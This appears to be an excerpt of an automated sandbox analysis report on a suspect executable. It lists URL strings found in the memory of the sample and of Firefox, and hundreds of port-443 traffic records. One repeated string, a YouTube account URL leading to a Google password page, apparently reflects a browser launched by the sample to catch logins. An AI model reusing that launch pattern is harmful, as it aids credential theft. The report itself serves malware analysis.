Source: 0db0ccc3ed.exe, 0000000D.00000003.2920033853.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 0000001B.00000003.2917306690.00000177F487C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3072129064.00000177F4866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001B.00000002.3063467191.00000177F0383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 0000001B.00000003.2912594840.00000177F4D74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001B.00000002.2998387664.00000177ECDAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: 0db0ccc3ed.exe, 0000000D.00000003.2829313635.0000000005C0D000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2826907496.0000000005C0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2998387664.00000177ECDAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001B.00000002.3006042088.00000177ECFD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchUnknown
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001B.00000002.3032485571.00000177EE567000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 0000001B.00000002.3089476062.00000177F4D36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3103836214.00001CB66B500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3004177440.00000177ECF11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3089476062.00000177F4D3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2948268507.00000177DCA6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: firefox.exe, 0000001B.00000002.3021764457.00000177EDB2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: firefox.exe, 0000001B.00000003.2885692369.00000177F4CFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 0000001B.00000002.3021764457.00000177EDB2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 0db0ccc3ed.exe, 0000000D.00000003.2894480783.0000000005E23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3021764457.00000177EDB2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3091012842.00000177F4DCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: firefox.exe, 0000001B.00000002.3021764457.00000177EDB2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: 0db0ccc3ed.exe, 0000000D.00000003.2894480783.0000000005E23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3021764457.00000177EDB2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001B.00000002.2948268507.00000177DCA6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgP4O
Source: firefox.exe, 0000001B.00000002.3097342995.000005C00DE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001B.00000002.3097342995.000005C00DE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.comZ
Source: firefox.exe, 0000001B.00000002.3072129064.00000177F4866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/aInstanceID
Source: firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3097342995.000005C00DE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001B.00000002.3097342995.000005C00DE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca9n
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/operationsRequiringRestartget
Source: firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001B.00000002.3097342995.000005C00DE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/Z
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3072129064.00000177F4866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001B.00000002.2957103100.00000177E8C11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2957103100.00000177E8C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 0000001B.00000002.3108270091.00003B1055F04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 0000001B.00000002.3045378523.00000177EEDD6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3097342995.000005C00DE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001B.00000002.3052953874.00000177EFE66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001B.00000002.2957103100.00000177E8C0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000019.00000002.2779035271.0000019463110000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2786342270.000001F3E57E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001B.00000002.2949570061.00000177DE764000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000001B.00000002.3101618206.000008571A800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com;H
Source: firefox.exe, 0000001B.00000002.3045378523.00000177EEDF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com=~
Source: firefox.exe, 0000001B.00000002.3101618206.000008571A800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comk

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50325 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 50326 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50324 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 50282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50333
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
